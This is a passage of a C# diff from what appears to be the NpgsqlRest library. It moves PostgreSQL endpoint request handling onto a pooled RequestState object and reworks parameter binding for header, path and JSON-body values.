parameter.TypeDescriptor.HasDefault is true && + ( + string.Equals(b.endpoint.RequestHeadersParameterName, parameter.ConvertedName, StringComparison.Ordinal) || + string.Equals(b.endpoint.RequestHeadersParameterName, parameter.ActualName, StringComparison.Ordinal) + ) + ) + { + if (b.bodyDict!.ContainsKey(parameter.ConvertedName) is false) + { + if (b.headers is null) + { + SearializeHeader(Options, b.context, ref b.headers); + } + parameter.ParamType = ParamType.HeaderParam; + parameter.Value = b.headers; - if (batch is not null) + if (Options.ValidateParameters is not null) { - // Multi-command: use NpgsqlBatch with one command per statement - foreach (var cmdInfo in routine.MultiCommandInfo!) - { - var batchCmd = new NpgsqlBatchCommand(cmdInfo.Statement); - // Copy bound parameters from the main command to each batch command - for (int pi = 0; pi < Math.Min(command.Parameters.Count, cmdInfo.ParamCount); pi++) - { - var srcParam = command.Parameters[pi]; - var batchParam = NpgsqlRestParameter.CreateParamWithType(srcParam.NpgsqlDbType); - batchParam.Value = srcParam.Value ?? DBNull.Value; - batchCmd.Parameters.Add(batchParam); - } - batch.BatchCommands.Add(batchCmd); - } - reader = await batch.ExecuteBatchReaderWithRetryAsync( - CommandBehavior.SequentialAccess, - endpoint.RetryStrategy, - cancellationToken, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); - if (shouldLog) + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", string.Join("; ", routine.MultiCommandInfo.Select(c => c.Statement))); + return false; } } - else + if (Options.ValidateParametersAsync is not null) { - // Single command: use NpgsqlCommand as before - if (await PrepareCommand(connection, command, commandText, context, endpoint, true, cancellationToken) is false) - { - return; - } - reader = await command.ExecuteReaderWithRetryAsync( - CommandBehavior.SequentialAccess, - endpoint.RetryStrategy, - cancellationToken, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); - if (shouldLog) + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); + return false; } } - await using var _ = reader; // ensure disposal - - // Pluggable table format renderer - if (Options.TableFormatHandlers is not null - && customParameters is not null - && customParameters.TryGetValue("table_format", out var tableFormatName) - && Options.TableFormatHandlers.TryGetValue(tableFormatName, out var tableFormatHandler)) + if (b.endpoint.Cached is true && b.endpoint.CachedParams is not null) { - context.Response.ContentType = tableFormatHandler.ContentType; - var tfBufferRows = endpoint.BufferRows ?? Options.BufferRows; - if (routine.IsMultiCommand && routine.MultiCommandInfo is not null) - { - // Multi-command: call handler per result set - var tfCmdIndex = 0; - do - { - await tableFormatHandler.RenderAsync(reader, routine, endpoint, writer, context, tfBufferRows, customParameters, cancellationToken); - tfCmdIndex++; - } while (tfCmdIndex < routine.MultiCommandInfo.Length && await reader.NextResultAsync(cancellationToken)); - } - else + if (b.endpoint.CachedParams.Contains(parameter.ConvertedName) || b.endpoint.CachedParams.Contains(parameter.ActualName)) { - await tableFormatHandler.RenderAsync(reader, routine, endpoint, writer, context, tfBufferRows, customParameters, cancellationToken); + parameter.AppendCacheKey(b.cacheKeys); } - await writer.FlushAsync(cancellationToken); - return; } - if (context.Response.ContentType is null) + if (Options.HttpClientOptions.Enabled) { - if (binary is true) - { - context.Response.ContentType = Application.Octet; - } - else + if (parameter.TypeDescriptor.CustomType is not null) { - context.Response.ContentType = Application.Json; + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) + { + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); + } } } + if (!parameter.IsVirtual) b.command.Parameters.Add(parameter); - // For caching, we need to buffer the entire response - StringBuilder? cacheBuffer = canCacheRecordsAndSets ? new() : null; - var maxCacheableRows = Options.CacheOptions.MaxCacheableRows; - var shouldCache = canCacheRecordsAndSets; - - // Multi-command rendering: wrap result sets in JSON object (not in raw/binary mode) - var multiCmd = routine.MultiCommandInfo; - int multiCmdIndex = 0; - bool multiCmdFirstWritten = false; - bool multiCmdWriteWrapper = multiCmd is not null && binary is false && endpoint.Raw is false; - if (multiCmdWriteWrapper) + if (b.hasNulls is false && parameter.Value == DBNull.Value) { - writer.Write(Consts.Utf8OpenBrace); + b.hasNulls = true; } - // Begin result set loop (single pass for normal, do/while for multi-command) - do - { - // For multi-command: determine current command metadata and skip void commands - string[]? currentColumnNames = null; - string[]? currentJsonColumnNames = null; - TypeDescriptor[]? currentColumnDescriptors = null; - int currentColumnCount = routine.ColumnCount; - if (multiCmd is not null && multiCmdIndex < multiCmd.Length) + if (b.formatter.IsFormattable is false) { - var cmdInfo = multiCmd[multiCmdIndex]; - - if (multiCmdWriteWrapper) + if (b.formatter.RefContext) { - // Write command name key in JSON wrapper - if (multiCmdFirstWritten) + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - writer.Write(Consts.Utf8Comma); + return false; } - var nameJson = string.Concat(cmdInfo.JsonName, ":"); - writer.Advance(Encoding.UTF8.GetBytes(nameJson.AsSpan(), writer.GetSpan(Encoding.UTF8.GetMaxByteCount(nameJson.Length)))); - multiCmdFirstWritten = true; } - - if (cmdInfo.ColumnCount == 0) + else { - if (multiCmdWriteWrapper) - { - // Void command — write rows-affected count - var rowsAffected = reader.RecordsAffected; - var rowsStr = rowsAffected.ToString(); - writer.Advance(Encoding.UTF8.GetBytes(rowsStr.AsSpan(), writer.GetSpan(Encoding.UTF8.GetMaxByteCount(rowsStr.Length)))); - } - multiCmdIndex++; - continue; + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); } - - currentColumnNames = cmdInfo.ColumnNames; - currentJsonColumnNames = cmdInfo.JsonColumnNames; - currentColumnDescriptors = cmdInfo.ColumnTypeDescriptors; - currentColumnCount = cmdInfo.ColumnCount; } - - // Per-command single record: for multi-command, use per-command IsSingle only; - // for single-command, use endpoint-level ReturnSingleRecord - var isSingleRecord = multiCmd is not null - ? (multiCmdIndex < multiCmd.Length && multiCmd[multiCmdIndex].IsSingle) - : endpoint.ReturnSingleRecord; - - - - - if (routine.ReturnsSet && endpoint.Raw is false && binary is false && isSingleRecord is false) + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) { - writer.Write(Consts.Utf8OpenBracket); - if (shouldCache) - { - cacheBuffer!.Append(Consts.OpenBracket); - } + var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && b.endpoint.IsAuth ? + "***" : + FormatParameterForLog(parameter); + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = ").AppendLine(p); } - bool first = true; - var routineReturnRecordCount = currentColumnCount; - var activeColumnNames = currentColumnNames ?? routine.ColumnNames; - var activeJsonColumnNames = currentJsonColumnNames ?? routine.JsonColumnNames; - var activeColumnDescriptors = currentColumnDescriptors ?? routine.ColumnsTypeDescriptor; + continue; + } + } - rowBuilder = StringBuilderPool.Rent(512); - ulong rowCount = 0; + // path parameter - extract from RouteValues (for JSON body mode) + if (parameter.Value is null && b.endpoint.HasPathParameters) + { + // Use optimized O(1) lookup via HashSet + string? matchedPathParam = b.endpoint.FindMatchingPathParameter(parameter.ConvertedName, parameter.ActualName); - // Precompute nested JSON composite column mapping - // Maps column index to: (compositeColumnName, fieldName, isFirstField, isLastField, fieldCount, jsonCompositeColumnName, jsonFieldName) - Dictionary? nestedJsonColumnMap = null; - if (endpoint.NestedJsonForCompositeTypes == true && routine.CompositeColumnInfo is not null) + // Try to get route value using the path parameter name from the template + if (matchedPathParam is not null && b.context.Request.RouteValues.TryGetValue(matchedPathParam, out var routeValue)) + { + StringValues pathStringValues = routeValue?.ToString() ?? ""; + if (TryParseParameter(parameter, ref pathStringValues, b.endpoint.QueryStringNullHandling)) { - nestedJsonColumnMap = new(); - foreach (var (_, compositeInfo) in routine.CompositeColumnInfo) + parameter.ParamType = ParamType.PathParam; + parameter.QueryStringValues = pathStringValues; + + if (Options.ValidateParameters is not null) { - var indices = compositeInfo.ExpandedColumnIndices; - var fieldCount = indices.Length; - for (int fieldIdx = 0; fieldIdx < fieldCount; fieldIdx++) + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - var colIdx = indices[fieldIdx]; - nestedJsonColumnMap[colIdx] = ( - compositeInfo.ConvertedColumnName, - compositeInfo.FieldNames[fieldIdx], - fieldIdx == 0, - fieldIdx == indices.Length - 1, - fieldCount, - PgConverters.SerializeString(compositeInfo.ConvertedColumnName), - PgConverters.SerializeString(compositeInfo.FieldNames[fieldIdx]) - ); + return false; } } - } - - // Buffer for composite fields to detect all-NULL composites - if (nestedJsonColumnMap is not null) - { - compositeFieldBuffer = StringBuilderPool.Rent(256); - } - bool compositeHasNonNullValue = false; - string? currentCompositeName = null; - string? currentJsonCompositeName = null; - - if (endpoint.Raw is true && endpoint.RawColumnNames is true && binary is false) - { - StringBuilder columns = new(); - for (int i = 0; i < reader.FieldCount; i++) + if (Options.ValidateParametersAsync is not null) { - if (endpoint.RawValueSeparator is not null && i > 0) + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - columns.Append(endpoint.RawValueSeparator); + return false; } - columns.Append(QuoteText(reader.GetName(i).AsSpan())); } - if (endpoint.RawNewLineSeparator is not null) + if (b.endpoint.Cached is true && b.endpoint.CachedParams is not null) { - columns.Append(endpoint.RawNewLineSeparator); + if (b.endpoint.CachedParams.Contains(parameter.ConvertedName) || b.endpoint.CachedParams.Contains(parameter.ActualName)) + { + parameter.AppendCacheKey(b.cacheKeys); + } } - rowBuilder.Append(columns); - } - var bufferRows = endpoint.BufferRows ?? Options.BufferRows; - while (await reader.ReadAsync(cancellationToken)) - { - rowCount++; - if (!first) + if (Options.HttpClientOptions.Enabled) { - if (binary is false) + if (parameter.TypeDescriptor.CustomType is not null) { - // if raw - if (endpoint.Raw is false) - { - rowBuilder.Append(Consts.Comma); - } - else if (endpoint.RawNewLineSeparator is not null) + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) { - rowBuilder.Append(endpoint.RawNewLineSeparator); + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); } } } - else + if (!parameter.IsVirtual) b.command.Parameters.Add(parameter); + + if (b.hasNulls is false && parameter.Value == DBNull.Value) { - first = false; + b.hasNulls = true; } - for (var i = 0; i < routineReturnRecordCount; i++) + if (b.formatter.IsFormattable is false) { - if (binary is true) + if (b.formatter.RefContext) { - await writer.WriteAsync(reader.GetFieldValue(0), cancellationToken); + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } } else { - object value = reader.GetValue(i); - // AllResultTypesAreUnknown = true always returns string, except for null - var raw = (value == DBNull.Value ? "" : (string)value).AsSpan(); - - // Decrypt column value if marked with decrypt annotation - if (value != DBNull.Value && - Options.AuthenticationOptions.DefaultDataProtector is not null && - (endpoint.DecryptAllColumns || - (endpoint.DecryptColumns is not null && - i < activeColumnNames.Length && - endpoint.DecryptColumns.Contains(activeColumnNames[i])))) - { - try - { - raw = Options.AuthenticationOptions.DefaultDataProtector.Unprotect((string)value).AsSpan(); - } - catch (Exception decryptEx) - { - Logger?.DecryptColumnFailed(decryptEx.Message); - } - } - - // if raw - if (endpoint.Raw) - { - if (endpoint.RawValueSeparator is not null) - { - var descriptor = activeColumnDescriptors[i]; - if ((descriptor.Category & (TypeCategory.Text | TypeCategory.Date | TypeCategory.DateTime)) != 0) - { - rowBuilder.Append(QuoteText(raw)); - } - else - { - rowBuilder.Append(raw); - } - if (i < routineReturnRecordCount - 1) - { - rowBuilder.Append(endpoint.RawValueSeparator); - } - } - else - { - rowBuilder.Append(raw); - } - } - else - { - var descriptor = activeColumnDescriptors[i]; - - // SQL file composite type column: value is a PostgreSQL tuple string - // Expand inline (flat) or wrap as nested JSON object - if (descriptor.IsCompositeType && - descriptor.CompositeFieldNames is not null && - descriptor.CompositeFieldDescriptors is not null) - { - if (routine.ReturnsUnnamedSet == false && i == 0) - { - rowBuilder.Append(Consts.OpenBrace); - } - - if (endpoint.NestedJsonForCompositeTypes == true) - { - // Nested mode: "columnName": {parsed object} or "columnName": null - if (routine.ReturnsUnnamedSet == false) - { - rowBuilder.Append(activeJsonColumnNames[i]); - rowBuilder.Append(Consts.Colon); - } - if (value == DBNull.Value) - { - rowBuilder.Append(Consts.Null); - } - else - { - rowBuilder.Append(PgTupleToJsonObject( - raw, - descriptor.CompositeFieldNames, - descriptor.CompositeFieldDescriptors)); - } - } - else - { - // Flat mode: splice individual fields inline - if (value == DBNull.Value) - { - // All fields null — emit "field1":null,"field2":null,... - for (int fi = 0; fi < descriptor.CompositeFieldNames.Length; fi++) - { - if (fi > 0) rowBuilder.Append(Consts.Comma); - rowBuilder.Append(PgConverters.SerializeString(descriptor.CompositeFieldNames[fi])); - rowBuilder.Append(Consts.Colon); - rowBuilder.Append(Consts.Null); - } - } - else - { - // Parse tuple to JSON object, strip outer braces to get inline fields - var compositeJsonObj = PgTupleToJsonObject( - raw, - descriptor.CompositeFieldNames, - descriptor.CompositeFieldDescriptors); - // PgTupleToJsonObject returns {"field":val,...} — strip { and } - if (compositeJsonObj.Length >= 2 && compositeJsonObj[0] == '{' && compositeJsonObj[compositeJsonObj.Length - 1] == '}') - { - rowBuilder.Append(compositeJsonObj[1..^1]); - } - else - { - rowBuilder.Append(compositeJsonObj); - } - } - } - - if (routine.ReturnsUnnamedSet == false && i == routineReturnRecordCount - 1) - { - rowBuilder.Append(Consts.CloseBrace); - } - if (i < routineReturnRecordCount - 1) - { - rowBuilder.Append(Consts.Comma); - } - } - else - { - // Handle nested JSON composite types (routine expanded columns) - (string CompositeColumnName, string FieldName, bool IsFirstField, bool IsLastField, int FieldCount, string JsonCompositeColumnName, string JsonFieldName) compositeMapping = default; - bool isInComposite = nestedJsonColumnMap is not null && nestedJsonColumnMap.TryGetValue(i, out compositeMapping); - - // Determine which buffer to write to - StringBuilder outputBuffer = (isInComposite && compositeFieldBuffer is not null) ? compositeFieldBuffer : rowBuilder; - - if (routine.ReturnsUnnamedSet == false) - { - if (i == 0) - { - rowBuilder.Append(Consts.OpenBrace); - } - - if (isInComposite) - { - if (compositeMapping.IsFirstField) - { - // Start of composite: reset buffer and track column name - compositeFieldBuffer!.Clear(); - compositeHasNonNullValue = false; - currentCompositeName = compositeMapping.CompositeColumnName; - currentJsonCompositeName = compositeMapping.JsonCompositeColumnName; - - // Write field name/value to buffer - outputBuffer.Append(compositeMapping.JsonFieldName); - outputBuffer.Append(Consts.Colon); - } - else - { - // Middle or end field in composite: just output field name - outputBuffer.Append(compositeMapping.JsonFieldName); - outputBuffer.Append(Consts.Colon); - } - } - else - { - rowBuilder.Append(activeJsonColumnNames[i]); - rowBuilder.Append(Consts.Colon); - } - } - - JsonValueFormatter.FormatValue( - raw, value, descriptor, outputBuffer, - routine.ArrayCompositeColumnInfo, i); - if (isInComposite && value != DBNull.Value) - { - compositeHasNonNullValue = true; - } - - // Handle closing braces and commas for nested JSON composite types - if (isInComposite && compositeMapping.IsLastField) - { - // End of composite: decide whether to output null or the buffered object - rowBuilder.Append(currentJsonCompositeName!); - rowBuilder.Append(Consts.Colon); - - if (compositeHasNonNullValue) - { - // At least one field has a value, output as object - rowBuilder.Append(Consts.OpenBrace); - rowBuilder.Append(compositeFieldBuffer); - rowBuilder.Append(Consts.CloseBrace); - } - else - { - // All fields are NULL, output null - rowBuilder.Append(Consts.Null); - } - } - else if (isInComposite) - { - // Add comma between composite fields - outputBuffer.Append(Consts.Comma); - } - - if (routine.ReturnsUnnamedSet == false && i == routineReturnRecordCount - 1) - { - rowBuilder.Append(Consts.CloseBrace); - } - - // Add comma between columns (but not within composite fields which are handled above) - if (!isInComposite && i < routineReturnRecordCount - 1) - { - rowBuilder.Append(Consts.Comma); - } - else if (isInComposite && compositeMapping.IsLastField && i < routineReturnRecordCount - 1) - { - rowBuilder.Append(Consts.Comma); - } - } // end non-composite-type else - } + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); } - } // end for - - // Check if we've exceeded the cacheable row limit - if (shouldCache && maxCacheableRows.HasValue && rowCount > (ulong)maxCacheableRows.Value) - { - shouldCache = false; - cacheBuffer = null; // Release memory } - - if (isSingleRecord) + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) { - break; + var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && b.endpoint.IsAuth ? + "***" : + FormatParameterForLog(parameter); + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = ").AppendLine(p); } - if (bufferRows != 1 && rowCount % bufferRows == 0) + continue; + } + } + } + + if (b.bodyDict!.TryGetValue(parameter.ConvertedName, out var value) is false) + { + if (parameter.Value is null) + { + if (Options.ValidateParameters is not null) + { + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - // Append to cache buffer before clearing row - if (shouldCache) - { - cacheBuffer!.Append(rowBuilder); - } - WriteStringBuilderToWriter(rowBuilder, writer); - await writer.FlushAsync(cancellationToken); - rowBuilder.Clear(); + return false; } - } // end while - - if (isSingleRecord && rowCount == 0) + } + if (Options.ValidateParametersAsync is not null) { - if (multiCmd is not null) + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - // Multi-command: always write null for empty @single results - writer.Write(Consts.Utf8Null); + return false; } - else if (endpoint.TextResponseNullHandling == TextResponseNullHandling.NullLiteral) + } + if (parameter.Value is null) + { + if (parameter.TypeDescriptor.CustomType is not null) { - writer.Write(Consts.Utf8Null); - await writer.FlushAsync(cancellationToken); + parameter.Value = DBNull.Value; } - else if (endpoint.TextResponseNullHandling == TextResponseNullHandling.NoContent) + else if (IsProxyResponseParameter(b.endpoint, parameter)) { - context.Response.StatusCode = (int)HttpStatusCode.NoContent; + // Proxy response parameter - set placeholder value and fall through to add it + parameter.Value = DBNull.Value; + parameter.ParamType = ParamType.BodyJson; } - // else EmptyString: empty 200 OK (default) - } - else if (binary is true) - { - await writer.FlushAsync(cancellationToken); - } - else - { - if (rowBuilder.Length > 0) + else if (parameter.TypeDescriptor.HasDefault is false) { - // Append remaining rows to cache buffer - if (shouldCache) - { - cacheBuffer!.Append(rowBuilder); - } - WriteStringBuilderToWriter(rowBuilder, writer); - await writer.FlushAsync(cancellationToken); + b.shouldCommit = false; + b.uploadHandler?.OnError(b.connection, b.context, null); + b.context.Response.StatusCode = StatusCodes.Status404NotFound; + await b.context.Response.CompleteAsync(); + return false; } - if (routine.ReturnsSet && endpoint.Raw is false && isSingleRecord is false) + else if (parameter.DefaultValue is not null) { - writer.Write(Consts.Utf8CloseBracket); - if (shouldCache) - { - cacheBuffer!.Append(Consts.CloseBracket); - } + // Explicit default value (SQL file annotation) — bind it + BindDefaultValue(parameter); + parameter.ParamType = ParamType.BodyJson; } - - // Store in cache if within limits - if (shouldCache && cacheBuffer is not null) + else { - resolvedCache?.AddOrUpdate(endpoint, cacheKeyString!, cacheBuffer.ToString(), cacheTtlOverride); + continue; } } + } + } - multiCmdIndex++; - } while (multiCmd is not null && multiCmdIndex < multiCmd.Length && await reader.NextResultAsync(cancellationToken)); - - // Close multi-command JSON object - if (multiCmdWriteWrapper) - { - writer.Write(Consts.Utf8CloseBrace); - } - - return; - } // end if (routine.ReturnsRecord == true) - } // end if (routine.IsVoid is false) - } - catch (Exception exception) - { - if (exception is NpgsqlToHttpException npgsqlToHttpException) + if (parameter.Value is null && TryParseParameter(parameter, value) is false) { - if (context.Response.HasStarted is false) + // Check if this is a proxy response parameter - it will be filled in later + if (IsProxyResponseParameter(b.endpoint, parameter)) { - await Results.Problem( - type: npgsqlToHttpException.Mapping.Type, - statusCode: npgsqlToHttpException.Mapping.StatusCode, - title: npgsqlToHttpException.Mapping.Title ?? exception.Message, - detail: npgsqlToHttpException.SqlState).ExecuteAsync(context); + parameter.Value = DBNull.Value; + parameter.ParamType = ParamType.BodyJson; + // Don't skip - fall through to add the parameter } - else + else if (parameter.TypeDescriptor.HasDefault is false) { - context.Response.StatusCode = npgsqlToHttpException.Mapping.StatusCode; + b.shouldCommit = false; + b.uploadHandler?.OnError(b.connection, b.context, null); + b.context.Response.StatusCode = StatusCodes.Status404NotFound; + await b.context.Response.CompleteAsync(); + return false; } - } - else if (exception is NpgsqlException npgsqlEx) - { - if (context.Response.HasStarted is false) + else if (parameter.DefaultValue is not null) { - await Results.Problem( - type: null, - statusCode: 500, - title: npgsqlEx.Message, - detail: npgsqlEx.SqlState).ExecuteAsync(context); + BindDefaultValue(parameter); + parameter.ParamType = ParamType.BodyJson; } else { - context.Response.StatusCode = (int)HttpStatusCode.InternalServerError; + continue; } } - else + parameter.ParamType = ParamType.BodyJson; + parameter.JsonBodyNode = value; + if (Options.ValidateParameters is not null) { - if (context.Response.HasStarted is false) - { - await Results.Problem( - type: null, // remove RFC URL - statusCode: 500, - title: "Internal Server Error", - detail: exception.Message).ExecuteAsync(context); - } - else + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - context.Response.StatusCode = (int)HttpStatusCode.InternalServerError; + return false; } } - - if (endpoint.Upload is true) - { - uploadHandler?.OnError(connection, context, exception); - } - - if (context.Response.StatusCode == 400) + if (Options.ValidateParametersAsync is not null) { - if (shouldLog && cmdLog is not null) - { - Logger?.LogWarning("Client error (400) executing command: {commandText} mapped to endpoint: {Url}: {message}{NewLine}{cmdLog}", commandText, endpoint.Path, exception.Message, Environment.NewLine, cmdLog.ToString()); - } - else + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - Logger?.LogWarning("Client error (400) executing command: {commandText} mapped to endpoint: {Url}: {message}", commandText, endpoint.Path, exception.Message); + return false; } } - else if (context.Response.StatusCode != 200 && context.Response.StatusCode != 205) + if (b.endpoint.Cached is true && b.endpoint.CachedParams is not null) { - if (shouldLog && cmdLog is not null) + if (b.endpoint.CachedParams.Contains(parameter.ConvertedName) || b.endpoint.CachedParams.Contains(parameter.ActualName)) { - Logger?.LogError(exception, "Error executing command: {commandText} mapped to endpoint: {Url}{NewLine}{cmdLog}", commandText, endpoint.Path, Environment.NewLine, cmdLog.ToString()); - } - else - { - Logger?.LogError(exception, "Error executing command: {commandText} mapped to endpoint: {Url}", commandText, endpoint.Path); + parameter.AppendCacheKey(b.cacheKeys); } } - } - finally - { - // Release the records/sets stampede gate (if this request acquired it) so the next waiter - // for this key can proceed — by now the cache is either populated or the response was over-limit. - recordCacheGate?.Release(); - - await writer.CompleteAsync(); - // proxy_out: capture buffered function output and forward to upstream proxy - if (proxyOutBuffer is not null && proxyOutOriginalBody is not null) + if (Options.HttpClientOptions.Enabled) { - try + if (parameter.TypeDescriptor.CustomType is not null) { - // Only forward to proxy if the function executed successfully (no error status) - if (context.Response.StatusCode >= 200 && context.Response.StatusCode < 400) - { - // Extract bytes directly — avoid string allocation and double UTF-8 conversion - var functionBodyBytes = proxyOutBuffer.Length > 0 - ? proxyOutBuffer.ToArray() - : []; - - // Restore original response body and reset response state - context.Response.Body = proxyOutOriginalBody; - context.Response.Headers.Clear(); - context.Response.StatusCode = 200; - - var proxyResponse = await Proxy.ProxyRequestHandler.InvokeOutAsync( - context, endpoint, functionBodyBytes, cancellationToken); - await Proxy.ProxyRequestHandler.WriteResponseAsync( - context, proxyResponse, Options.ProxyOptions, cancellationToken); - } - else + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) { - // Function errored — restore original body and copy error content through - proxyOutBuffer.Position = 0; - context.Response.Body = proxyOutOriginalBody; - await proxyOutBuffer.CopyToAsync(proxyOutOriginalBody, cancellationToken); + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); } } - finally - { - proxyOutBuffer.Dispose(); - } } + b.command.Parameters.Add(parameter); - await context.Response.CompleteAsync(); - if (transaction is not null) + if (b.hasNulls is false && parameter.Value == DBNull.Value) + { + b.hasNulls = true; + } + + if (b.formatter.IsFormattable is false) { - if (connection is not null && connection.State == ConnectionState.Open) + if (b.formatter.RefContext) { - if (shouldCommit) + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - await transaction.CommitAsync(cancellationToken); + return false; } } + else + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); + } } - // Detach the per-request notice handler so it can't accumulate (and re-log) on a reused - // connection that this request did not dispose. - if (connection is not null && noticeHandler is not null) + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) { - connection.Notice -= noticeHandler; + var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && b.endpoint.IsAuth ? + "***" : + FormatParameterForLog(parameter); + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = ").AppendLine(p); } - if (connection is not null && shouldDispose is true) + } + + // Skip body validation for passthrough proxy endpoints - body will be forwarded as-is + if (!(b.endpoint.IsProxy && Options.ProxyOptions.Enabled && !b.endpoint.HasProxyResponseParameters)) + { + foreach (var bodyKey in b.bodyDict!.Keys) { - await connection.DisposeAsync(); + if (b.routine.ParamsHash.Contains(bodyKey) is false) + { + b.shouldCommit = false; + b.uploadHandler?.OnError(b.connection, b.context, null); + b.context.Response.StatusCode = StatusCodes.Status404NotFound; + await b.context.Response.CompleteAsync(); + return false; + } } + } + return true; + } - // Return pooled StringBuilders - if (cmdLog is not null) + /// + /// Everything one request needs, in one object that is reused across requests. + /// + /// The request stages (RunAsync) pass this object along instead of dozens of locals and parameters. That keeps the + /// async frames small - what is suspended while a request waits for the database is the state reference, not a copy + /// of the request - which matters for memory per request, with or without .NET's Runtime Async. + /// + /// Pooled: a request rents one and returns it when it ends, so nothing may keep a reference to it afterwards. In + /// particular lambdas (the notice handler, cache factories) capture the values they need, never this object. + /// Field names mirror the locals they replaced. + /// + private sealed class RequestState + { + // the request + public HttpContext context = default!; + public CancellationToken cancellationToken; + public IServiceProvider? serviceProvider; + + // the routine the request resolved to (binding may switch to an overload) + public Routine routine = default!; + public RoutineEndpoint endpoint = default!; + public IRoutineSourceParameterFormatter formatter = default!; + + // resources, released by CompleteRequestAsync + public PipeWriter writer = default!; + public NpgsqlConnection? connection; + public NpgsqlTransaction? transaction; + public NpgsqlCommand command = default!; + public bool shouldDispose; + public bool shouldCommit; + public NoticeEventHandler? noticeHandler; + public IUploadHandler? uploadHandler; + public MemoryStream? proxyOutBuffer; + public Stream? proxyOutOriginalBody; + public StringBuilder? cmdLog; + public StringBuilder? cacheKeys; + public StringBuilder? commandTextBuilder; + public bool shouldLog; + + // parameter binding + public List customHttpTypes = default!; + public IQueryCollection? queryCollection; + public Dictionary? bodyDict; + public string? body; + public JsonObject? jsonObj; + public bool hasNulls; + public int paramIndex; + public Dictionary? claimsDict; + public string? headers; + public int uploadMetaParamIndex; + public RoutineEndpoint? basicAuthCheckedFor; + + // execution + public string? commandText; + public Dictionary? customParameters; + public IRoutineCache? resolvedCache; + public string? cacheKeyString; + public bool bypassCache; + public TimeSpan? cacheTtlOverride; + + // The request context (contextPairs) is sent with the routine, as one batch (see RequestContextBatch) ... + public bool contextWithRoutine; + // ... which is this one, from the moment the routine is about to run. Disposed with the command. + public NpgsqlBatch? contextBatch; + + // Reused across requests (not part of a request's state): renders rows, see RowRenderer. + public RowRenderer? rowRenderer; + // Reused across requests: the context setting names and values of the request being served. + public List<(string Key, object? Value)>? contextPairs; + + private const int MaxPoolSize = 128; + private static readonly RequestState?[] Pool = new RequestState?[MaxPoolSize]; + private static int _poolIndex = -1; // index of the top occupied slot + + private RequestState() => Reset(); + + /// Rents a state with every field at its initial value. + public static RequestState Rent() + { + RequestState? state = null; + int index = Interlocked.Decrement(ref _poolIndex) + 1; // the slot that was on top before the decrement + if (index >= 0 && index < MaxPoolSize) { - StringBuilderPool.Return(cmdLog); + state = Interlocked.Exchange(ref Pool[index], null); } - if (cacheKeys is not null) + else { - StringBuilderPool.Return(cacheKeys); + Interlocked.Increment(ref _poolIndex); } - if (commandTextBuilder is not null) + return state ?? new RequestState(); + } + + /// Clears the state and returns it to the pool. It must not be used afterwards. + public static void Return(RequestState state) + { + state.Reset(); + int index = Interlocked.Increment(ref _poolIndex); + if (index >= 0 && index < MaxPoolSize) { - StringBuilderPool.Return(commandTextBuilder); + Pool[index] = state; } - if (rowBuilder is not null) + else { - StringBuilderPool.Return(rowBuilder); + Interlocked.Decrement(ref _poolIndex); } - if 